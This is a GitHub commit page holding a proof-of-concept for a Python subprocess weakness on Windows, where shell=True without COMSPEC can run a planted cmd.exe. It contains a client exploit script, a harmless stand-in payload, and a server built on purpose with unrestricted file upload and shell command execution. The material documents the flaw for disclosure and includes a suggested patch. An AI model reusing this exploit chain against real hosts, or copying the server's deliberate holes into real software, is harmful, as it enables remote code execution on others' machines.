Skip to content

Commit 73e841c

Browse files
POC
0 parents  commit 73e841c

File tree

4 files changed

+117
-0
lines changed

4 files changed

+117
-0
lines changed

RCE_program.c

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
#include <stdio.h>
2+
int main() {printf("H4CK3D - EXPLOIT IS WORKING\n");return 0;}
3+
# gcc -o not_cmd.exe RCE_program.c

README.md

+76
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
# Python Subprocess Vulnerability - POC RCE
2+
3+
There is a vulnerability in python `subprocess` module.
4+
When `subprocess.Popen` was launched with `shell=True` on Windows and without `COMSPEC` environment variable,
5+
the executable launched is `cmd.exe` and the full path is not defined.
6+
7+
It's possible to launch a malicious `cmd.exe` file from working directory
8+
or any any path before the `C:\Windows\system32` directory in the `PATH`.
9+
10+
## Requirements
11+
12+
- Windows machine without `COMSPEC`
13+
- Use `subprocess.Popen` or any `subprocess` function that use `subprocess.Popen` with `shell=True`
14+
- Possible upload in working directory or any path before the `C:\Windows\system32` directory in the `PATH`
15+
16+
## Patch
17+
18+
Replace `cmd.exe` by `C:\WINDOWS\system32\cmd.exe` in `subprocess` module.
19+
20+
## Client Exploit
21+
22+
### Fake malicious cmd.exe for POC
23+
24+
```c
25+
#include <stdio.h>
26+
int main() {printf("H4CK3D - EXPLOIT IS WORKING\n");return 0;}
27+
# gcc -o not_cmd.exe RCE_program.c
28+
```
29+
30+
### Python HTTP client
31+
32+
```python
33+
from urllib.request import Request, urlopen
34+
35+
get_response = urlopen("http://127.0.0.1:8000/")
36+
post_response = urlopen(Request("http://127.0.0.1:8000/cmd.exe", data=open('not_cmd.exe', 'rb').read())) # upload a malicious cmd.exe file
37+
exploit_response = urlopen("http://127.0.0.1:8000/") # RCE -> cmd.exe file is executed instead of C:\WINDOWS\system32\cmd.exe
38+
```
39+
40+
## Vulnerable server code
41+
42+
```python
43+
from wsgiref.simple_server import make_server
44+
from subprocess import Popen, DEVNULL
45+
from os.path import basename
46+
from sys import executable
47+
from os import environ
48+
49+
del environ['COMSPEC'] # force environment without COMSPEC
50+
51+
def app(environ, start_response):
52+
method = environ["REQUEST_METHOD"]
53+
if method == "GET":
54+
process = Popen("myprogram", shell=True, stderr=DEVNULL)
55+
process.communicate()
56+
status = "200 OK"
57+
content = b"GET OK"
58+
elif method == "POST":
59+
status = "200 OK"
60+
content = b"File uploaded successfully."
61+
content_length = environ.get("CONTENT_LENGTH", "0")
62+
if content_length.isdigit():
63+
with open(basename(environ["PATH_INFO"]), 'wb') as file:
64+
file.write(environ["wsgi.input"].read(int(content_length)))
65+
else:
66+
status = "400 Bad Request"
67+
content = b'Invalid Content-Length header.'
68+
else:
69+
status = "400 Bad Request"
70+
content = b"Only GET and POST methods allowed."
71+
start_response(status, [('Content-type', 'text/plain')])
72+
return (content,)
73+
74+
with make_server('127.0.0.1', 8000, app) as httpd:
75+
httpd.serve_forever()
76+
```

client_exploit.py

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
from urllib.request import Request, urlopen
2+
3+
get_response = urlopen("http://127.0.0.1:8000/")
4+
post_response = urlopen(Request("http://127.0.0.1:8000/cmd.exe", data=open('not_cmd.exe', 'rb').read())) # write a cmd.exe file
5+
exploit_response = urlopen("http://127.0.0.1:8000/") # RCE -> cmd.exe file is executed instead of C:\WINDOWS\system32\cmd.exe

server.py

+33
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
from wsgiref.simple_server import make_server
2+
from subprocess import Popen, DEVNULL
3+
from os.path import basename
4+
from sys import executable
5+
from os import environ
6+
7+
del environ['COMSPEC'] # force environment without COMSPEC
8+
9+
def app(environ, start_response):
10+
method = environ["REQUEST_METHOD"]
11+
if method == "GET":
12+
process = Popen("myprogram", shell=True, stderr=DEVNULL)
13+
process.communicate()
14+
status = "200 OK"
15+
content = b"GET OK"
16+
elif method == "POST":
17+
status = "200 OK"
18+
content = b"File uploaded successfully."
19+
content_length = environ.get("CONTENT_LENGTH", "0")
20+
if content_length.isdigit():
21+
with open(basename(environ["PATH_INFO"]), 'wb') as file:
22+
file.write(environ["wsgi.input"].read(int(content_length)))
23+
else:
24+
status = "400 Bad Request"
25+
content = b'Invalid Content-Length header.'
26+
else:
27+
status = "400 Bad Request"
28+
content = b"Only GET and POST methods allowed."
29+
start_response(status, [('Content-type', 'text/plain')])
30+
return (content,)
31+
32+
with make_server('127.0.0.1', 8000, app) as httpd:
33+
httpd.serve_forever()

0 commit comments

Comments
 (0)